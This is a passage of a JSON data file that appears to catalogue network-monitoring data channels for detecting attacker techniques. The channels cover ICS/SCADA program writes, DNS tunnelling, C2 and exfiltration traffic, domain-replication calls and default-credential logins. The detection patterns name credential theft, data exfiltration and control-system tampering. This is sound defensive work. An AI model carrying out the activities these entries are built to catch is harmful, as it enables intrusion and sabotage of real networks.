                            "channel": "Unusual POST requests to admin or upload endpoints"
                        },
                        {
                            "name": "NSM:Connections",
                            "channel": "Outbound connections to internal enterprise services exhibiting anomalous protocol behavior, malformed sessions, or exploit-consistent traffic patterns"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Pub/sub protocol, client ID, topic/queue and message metadata when observable"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Protocol identification; MQTT CONNECT/SUBSCRIBE/PUBLISH, AMQP/DDS metadata where parsable"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "MQTT/AMQP/DDS protocol and message metadata when visible"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "MQTT/AMQP/DDS protocol identification, broker/topic/client metadata when visible"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "SSL Certificate Metadata"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "HTTP Header Metadata"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "TLS Fingerprint and Certificate Analysis"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Traffic on RPC DRSUAPI"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "session on firmware-capable port exceeds session size threshold from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "firmware write service targeting specific slot/rack address from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "large session on firmware-capable port from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "write/control command traffic from source not in approved Supervisory Control and Data Acquisition (SCADA) servers directed at multiple distinct device IPs within rogue master time window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "task/organization-block modification service from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "S7comm Download Block / Common Industrial Protocol (CIP) Download Program / Distributed Network Protocol (DNP3) program file transfer to device_ip from source not in engineering workstation list within mode change to download window of mode-change event"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "write to existing program block address from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "download of block address not previously present in device program inventory, from source not in engineering workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "decoded ICS protocol unsolicited response or OPC UA data-change message for a device/address not normally owned by the observed source"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "decoded ICS protocol write/setpoint operation to a control/output address from a client identity or source not in the approved control-application baseline"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "OPC UA Browse/BrowseNext request to namespace or system-information objects from a client identity or source not in the approved monitoring baseline"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "source not in approved Supervisory Control and Data Acquisition (SCADA) servers issuing reads covering sequential address ranges across multiple device Internet Protocol (IP) addresses within auto collection time window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "malformed Protocol Data Unit (PDU) rate to device_ip exceeds threshold within detection window from source not in approved Supervisory Control and Data Acquisition (SCADA) server list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "EtherNet/IP ListIdentity broadcast or sequential Industrial Control System (ICS) protocol connection attempts across Internet Protocol (IP) range from source not in approved Supervisory Control and Data Acqusition (SCADA) servers"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "structurally valid Industrial Control System (ICS) protocol message from source not in approved communication baseline for the destination device_ip"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "read-only function codes from source not in approved Supervisory Control and Data Acquisition (SCADA) servers at rate exceeding baseline poll rate or covering address ranges outside known tag ranges"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Open Platform Communications Unified Architecture (OPC UA) BrowseNamespace or Distributed Network Protocol 3 (DNP3) object 0 all-variation read or Common Industrial Protocol (CIP) Get_Attributes_All from source not in approved Supervisory Control and Data Acquisition (SCADA) servers, covering above namespace coverage threshold percent of device tag space"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Generic Object Oriented Substation Event (GOOSE) dataset stNum value decreases (replay indicator) or test-mode bit asserted on protection relay without scheduled maintenance"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "mode-change service from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "write to alarm threshold address range from source not in approved write sources with new value outside safe alarm threshold range"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "write/operate command targeting safety-critical output addresses from source not in approved Supervisory Control and Data Acquisition (SCADA) servers"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "restart/reset service from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "firmware-update-mode activation service from source not in engineering workstation list outside change control window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "write function code to same register address at rate exceeding max write rate per point within brute force detection window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "write function code (FC 6/16) to setpoint address range with value outside baseline value range, or from source not in approved write sources"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "device authentication session from source Media Access Control (MAC)/Internet Protocol (IP) address not enrolled as authorized engineering workstation, with valid credential"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "authentication success using credential matching default vendor credential list from source not in engineering workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "credential/access code change command from source not in approved security admin list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "device authentication success using credential pattern matching known hardcoded credential patterns from source not in approved access list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "authentication success using credential matching default vendor credential list or known hardcoded credential patterns from source not in engineering workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "restart/reset service from source not in engineering workstation list, with more than one device receiving the command within bulk restart time window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "GetIdentity/Identity Object response vendor/product string does not match enrolled asset inventory for device_ip"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "CIP Port Object Get_Attribute_All or topology query from source not in approved Supervisory Control and Data Acquisition (SCADA) servers"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "EtherNet/IP ListIdentity or Modbus broadcast from source Media Access Control (MAC) address not in approved device inventory"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Internet Group Management Protocol (IGMP) join or Generic Object Oriented Substation Event (GOOSE) multicast subscription from source Media Access Control (MAC) address not in approved device inventory"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Hypertext Transfer Protocol (HTTP) request to device management web interface with exploit-pattern payload from source not in engineering workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "protocol-level latency inconsistent with direct communication, or Media Access Control (MAC)/Internet Protocol (IP) address binding change for device_ip"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "transaction identifier reuse pattern or function-code distribution deviates from established per-device baseline within Adversary in the Middle (AiTM) correlation window of the Media Access Control (MAC) address binding change"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "single session reads address range covering above full image coverage threshold percent of device total Input/Output (I/O) space, from source not in approved Supervisory Control and Data Acquisition (SCADA) servers"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "write/control method invocation from client identity not in approved application list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "malformed or oversized Industrial Control System (ICS) protocol message from unexpected source followed by device behavioral anomaly (reboot, mode change) within a short window"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "malformed or exploit-payload data via built-in communication interface from external source"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "vendor diagnostic function code with payload matching code execution pattern from source not in engineering workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "anomalous protocol exchange preceding device behavioral change (reboot, altered configuration)"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "deterministic function code response content diverges from the device's established per-function response baseline without a corresponding firmware update event"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "bulk read of configuration/data dictionary objects from source with no prior session history with this device"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "event buffer clear or log clear service from source not in engineering workstation list, correlated with preceding suspicious activity on the same device"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "reserved or vendor-specific function code accessing device registers directly from source not in engineering workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "bulk configuration/program object read from source with no prior configuration-read session history"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Initialize_Memory or MEMORY_RESET service from source not in engineering workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "S7comm Upload Block / Common Industrial Protocol (CIP) Read Program session from source not in engineering workstation list with bytes_recv exceeding program upload size threshold"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "S7comm SZL Central Processing Unit (CPU)-state read or Common Industrial Protocol (CIP) Identity Object state attribute read from source not in approved Supervisory Control and Data Acquisition (SCADA) servers"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "SZL module inventory, Identity Object, or Device Attributes query from source not in approved Supervisory Control and Data Acquisition (SCADA) servers"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "S7comm Upload ALL or Common Industrial Protocol (CIP) full program upload from source not in engineering workstation list, bytes_recv exceeding full upload size threshold"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "online block edit service from source not in engineering workstation list outside change control window, with device remaining in RUN mode throughout"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Virtual Network Computing (VNC) connection or screen-capture Hypertext Transfer Protocol (HTTP) request to embedded Human-Machine Interface (HMI) panel from source not in approved operator workstation list"
                        },
                        {
                            "name": "NSM:Content",
                            "channel": "Virtual Network Computing (VNC) or remote console session to embedded Human-Machine Interface (HMI) panel from source not in approved management Classless Inter-Domain Routing (CIDR) subnet"
                        },
                        {
                            "name": "NSM:DNS",
                            "channel": "Native DNS query/response content: long/encoded labels, TXT use, unusual query structure"
                        },
                        {
                            "name": "NSM:DNS",
                            "channel": "Native DNS query/response content"
                        },
                        {
                            "name": "NSM:DNS",
                            "channel": "DNS query/response metadata and content"
                        },
                        {
                            "name": "NSM:DNS",
                            "channel": "Device DNS query/response content"
                        },
                        {
                            "name": "NSM:Firewall",
                            "channel": "TLS/HTTP inspection"
                        },
                        {
                            "name": "NSM:Firewall",
                            "channel": "High rate of inbound TCP SYN or ACK packets with missing 3-way handshake completion"
                        },
                        {
                            "name": "NSM:Firewall",
                            "channel": "Anomalous TCP SYN or ACK spikes from specific source or interface"
                        },
                        {
                            "name": "NSM:Firewall",
                            "channel": "Outbound encrypted traffic"
                        },
                        {
                            "name": "NSM:Firewall",
                            "channel": "ICMP/UDP protocol anomaly"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "mqtt.log / xmpp.log (custom log feeds)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "mqtt.log or AMQP custom log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "mqtt.log, xmpp.log, amqp.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "TCP/UDP"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "TCP session tracking"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Captured packet payloads"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "session behavior"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "External C2 channel over TLS"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http/file-xfer: Inbound/outbound transfer of ELF shared objects"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http.log, files.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "unexpected network activity initiated shortly after shell session starts"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP/WebDAV requests that contain NTLMSSP or PROPFIND/MOVE/OPTIONS with Authorization: NTLM"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http.log, ssl.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http.log, conn.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "SPAN or port-mirrored HTTP/S"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http.log, ssl.log, websocket.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssl.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Browser connections to known C2 or dynamic DNS domains"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Session History Reset"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP "
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "query: High-volume LDAP traffic with filters targeting groupPolicyContainer attributes"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP/TLS Logs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Suspicious URL patterns, uncommon TLDs, short-lived domains, URL shorteners; HTTP method GET/POST"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Suspicious URL patterns, uncommon TLDs, URL shorteners"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Suspicious GET/POST; downloader patterns"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "SSH logins or scp activity"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "remote login and transfer"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "conn.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Suspicious long-lived or reattached remote desktop sessions from unexpected IPs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP payloads with SQLi/LFI/JNDI/deserialization indicators"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "outbound egress from web host after suspicious request"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Requests towards cloud metadata or command & control from pod IPs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Connections to TCP 427 (SLP) or vCenter web services from untrusted sources"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "NetFlow/sFlow for odd egress to Internet from mgmt plane"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "packet capture or DPI logs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "SMB2_LOGOFF/SMB_TREE_DISCONNECT"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Unusual Base64-encoded content in URI, headers, or POST body"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Base64 strings or gzip in URI, headers, or POST body"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Inbound connections to 445, 3389, 5985-5986 with high error/connection-reset rate, followed by new outbound sessions from the same host to internal assets within short interval."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Inbound connections to monitored service ports from external or unusual internal sources; rapid follow-on lateral connections from the same host."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Inbound to tcp/427 (OpenSLP), tcp/443 (vSphere APIs), tcp/902, tcp/5989 followed by new unexpected outbound sessions from the ESXi/vCenter host."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Inbound to 22/5900/8080 and follow-on internal connections."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http: HTTP body or headers contain long Base64 sections; gzip/deflate + Base64"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http: HTTP body contains long Base64 sections"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http: Base64/MIME looking payloads from ESXi host IP"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "LDAP Bind/Search"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "LDAP Query"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "smtp.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "smtp.log, conn.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "remote CLI session detection"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http.log, ftp.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "PCAP inspection"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "large HTTPS POST requests to webhook endpoints"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Single, low-volume inbound packet (REJ/S0/OTH or uncommon dport/protocol) from src_ip followed by outbound SF connection to src_ip."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Rare inbound packet characteristics (ICMP/UDP/TCP to uncommon port) from src_ip followed \u2264TimeWindow by outbound SF from same host to src_ip."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Inbound one-off packet to uncommon port \u2192 outbound SF to same src_ip within TimeWindow."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "large upload to firmware interface port or path"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http.request: HTTP requests and responses for specific script resources, unexpected content-types (application/octet-stream for script URLs), suspicious referrers, or obfuscated javascript resources"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http::response: HTTP responses with suspicious content-type for scripts, long obfuscated javascript bodies, or redirects to exploit kit domains"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP/HTTPS requests for script resources flagged by content inspection (excessive obfuscation, eval usage, unusual redirects)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssl.log + http.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http/file-xfer: Outbound transfer of large video-like MIME types soon after capture"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Outbound SCP, TFTP, or FTP sessions carrying configuration file content"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Session Transfer Content"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Captured File Content"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "C2 exfiltration"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Transferred file observations"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http::post: Outbound HTTP POST from host shortly after DB export activity"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTPS API requests to Dropbox, iCloud, Google Drive, OneDrive shortly after DB tool usage"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Observed downgrade in negotiated cipher suites or TLS/SSH versions across sessions"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "New egress from container IP/namespace to Internet or non-approved CIDRs/ASNs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "New VM egress to crypto-mining pools or non-approved Internet ranges within minutes of boot"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http::request: Network connection to package registry or C2 from interpreter shortly after install"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http::request: Outbound HTTP initiated by Python interpreter"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "DrsAddEntry, DrsReplicaAdd, GetNCChanges calls between non-DC and DCs."
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "large HTTPS POST requests to text storage domains"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Unexpected ARP replies or DNS responses inconsistent with authoritative servers"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "TLS downgrade or inconsistent DNS answers"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Unusual request pattern leading up to service crash (e.g., malformed or oversized payload)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "conn.log or http.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http: HTTP bodies/headers contain long tokens with non-standard alphabets or constant-size periodic POSTs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "dns: DNS labels with excessive length and restricted custom alphabets (e.g., base36 only) repeated frequently"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http: suspicious long tokens with custom alphabets in body/headers"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http: HTTP bodies from ESXi host IPs containing long, non-standard tokens"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Traffic patterns showing downgrade from strong encryption (AES-256) to weaker or plaintext protocols"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP(S) requests with User-Agents typical of PowerShell or curl from desktop; or URIs matching paste-inspired payload hosts"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Egress to non-approved networks from host after terminal exec"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Flow/PCAP analysis for outbound payloads"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "conn.log + files.log + ssl.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTPS or custom protocol traffic with large payloads"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Unexpected script or binary content returned in HTTP response body"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Injected content responses with unexpected script/malware signatures"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Content injection observed in HTTPS responses with mismatched certificates or altered payloads"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Relay patterns across IP hops"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ldap.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Probe responses from unauthorized APs responding to client probe requests"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Excessive gratuitous ARP replies on local subnet"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Inbound HTTP POST with suspicious payload size or user-agent"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "POST requests to .php, .jsp, .aspx files with high entropy body"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "dns.log"
                        },
                        {
                            "name": "NSM:FLow",
                            "channel": "dns.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Encrypted tunnels or proxy traffic to non-standard destinations"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "large transfer from management IPs to unauthorized host"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Sustained abnormal inbound request rate targeting application ports (e.g., 80/443/25)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ftp.log, smb_files.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ftp.log, conn.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "mirror/SPAN port"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ftp.log, conn.log, smb_files.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "SSL/TLS Inspection or PCAP"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "conn.log, ssl.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "http, dns, smb, ssl logs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "dns, ssl, conn"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "conn.log, http.log, dns.log, ssl.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ICMP/UDP traffic (Wireshark, Suricata, Zeek)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "icmp.log, weird.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ICMP/UDP monitoring (tcpdump, Wireshark, Zeek)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Unusual responses to LLMNR (UDP 5355) or NBT-NS (UDP 137) queries from unauthorized hosts"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "DHCP OFFER or ACK with unauthorized DNS/gateway parameters"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Multiple DHCP OFFER responses for a single DISCOVER"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "SSL/TLS Handshake Analysis"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP Header Metadata"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Network Capture TLS/HTTP"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "container egress to unknown IPs/domains"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP Request Logging"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssh connections originating from third-party CIDRs"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssh/smb connections to internal resources from third-party devices"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Degraded encryption throughput or switch to weaker cipher suites compared to historical baselines"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssl.log (for TLS handshake analysis), dns.log (tunneling indicators)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "host switch egress data"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Outbound HTTP/S"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssl.log - Certificate Analysis"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssl.log, conn.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "ssl.log, x509.log"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Packets with unusual flags or payloads outside established flows (e.g., WoL magic FF\u00d76 + 16\u00d7MAC)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Suspicious POSTs to upload endpoints"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "TLS/HTTP download with atypical MIME (application/octet-stream, application/x-zip, application/x-gzip) followed by local decode/write"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP(S)/QUIC media download with opaque content types (image/*, audio/*, video/*) from non-gallery domains or CDNs not previously used by the app"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTP(S)/QUIC download of executable/opaque content (application/octet-stream, application/zip, application/java-archive, application/x-dex, application/x-sharedlib, text/javascript)"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "burst of DNS queries/connection attempts to RFC1918 or local gateway immediately after scans"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "HTTPS sessions exhibiting periodic request cadence or structured payload exchanges inconsistent with application baseline"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Application-layer indicators observable via enterprise network controls (HTTP method, URI path pattern class, TLS SNI, JA3/ALPN when available, DNS qname/type) showing anomalous or low-and-slow command polling behavior"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Near-term increase in traffic to identity endpoints associated with SMS MFA, account recovery, or OTP verification (IdP, banking, crypto), correlated to SIM/service loss"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Abrupt shift from cellular egress to Wi-Fi-only egress, or new VPN/proxy session establishment following cellular service loss"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Application-layer web traffic showing suspicious redirect chains, iframe/ad-tech cascades, user-agent or environment fingerprinting requests, or staged payload retrieval after page visit"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Application initiates HTTPS connection with repeated certificate validation failure under enterprise proxy followed by direct network retry or stable opaque TLS communication to same endpoint within correlation window"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "App-destination pair shows consistent inspection bypass/refusal pattern followed by direct encrypted communication or repeated short-lived TLS sessions to same endpoint within correlation window"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Application retrieves remote content from non-baselined domain or IP and the transfer direction is inbound to device during the file acquisition phase"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Managed iOS app retrieves remote content from non-baselined domain or IP with inbound payload transfer during the acquisition phase"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Device shows correlated inbound session establishment followed by outbound connections to separate external destinations with overlapping timing and relay-like byte symmetry"
                        },
                        {
                            "name": "NSM:Flow",
                            "channel": "Traffic spike preceding control crash"
                        },
                        {
                            "name": "NSM:Inspection",
                            "channel": "TLS session from mobile app fails, resets, or refuses enterprise interception while same destination/app pair repeatedly establishes direct encrypted communication pattern consistent with pinned certificate/public-key validation"
                        },
                        {
                            "name": "NSM:Inspection",
                            "channel": "TLS handshake from iOS app repeatedly fails or is rejected only when enterprise SSL inspection certificate is presented, indicating certificate or public-key pin validation effect"
                        },
                        {
                            "name": "NSM:TLS/HTTP",
                            "channel": "SNI/HTTP host or resolver endpoint identification when observable"
                        },
                        {
                            "name": "otids:ProtocolDecoder",
                            "channel": "SNMP request/response decoder: OID, operation type, source/destination; flag access to undocumented/vendor-internal OIDs from non-approved NMS sources"
                        },
                        {
                            "name": "otids:ProtocolDecoder",
                            "channel": "Decoded OT/file-transfer transaction: transfer operation, source/destination, object/file identifier where exposed by the protocol, outside approved engineering/change window"
                        },
                        {
                            "name": "otids:ProtocolDecoder",
                            "channel": "Decoded DNP3/IEC 61850 file-transfer transaction: source/destination and file/object identifier where exposed; correlate with approved engineering source and change window"
                        },
                        {
                            "name": "otids:ProtocolDecoder",
                            "channel": "Protocol decoder/IDS transaction: traffic on an ICS service port fails expected protocol parsing/conformance or decodes as a different application protocol"
                        },
                        {
                            "name": "otids:ProtocolDecoder",
                            "channel": "Protocol decoder/IDS transaction/signature: exploit-relevant request against ICS remote service from unexpected source, correlated with subsequent endpoint/device anomaly"
                        },
                        {
                            "name": "saas:box",
                            "channel": "API calls exceeding baseline thresholds"
                        },
                        {
                            "name": "saas:confluence",
                            "channel": "REST API access from non-browser agents"
                        },
                        {
                            "name": "TelecomLogs:SS7Signaling",
                            "channel": "Subscriber information queries, routing requests, or location update messages with anomalous node identifiers or unexpected origin patterns"
                        },
                        {
                            "name": "TelecomLogs:SS7Signaling",
                            "channel": "Location resolution, routing, or subscriber information exchanges with anomalous signaling paths or node identities"
                        },
                        {
                            "name": "Traffic",
                            "channel": "None"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Inspected HTTP transaction showing APK/package retrieval, including URL, response content type, or validated payload type"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Supervised or newly activated device initiates outbound connections to destinations outside Apple, MDM, update, or enterprise-managed baselines while locked, with no recent user interaction, or before expected app enrollment completion"
                        },
                        {
                            "name": "VPN:MobileProxy",
                            "channel": "Application or device component communicates with legitimate external web-service infrastructure such as cloud storage, social media, messaging, collaboration, paste, code-hosting, CDN-backed API, or generic HTTPS service in a pattern inconsistent with the app's approved network baseline, timing, or service class"
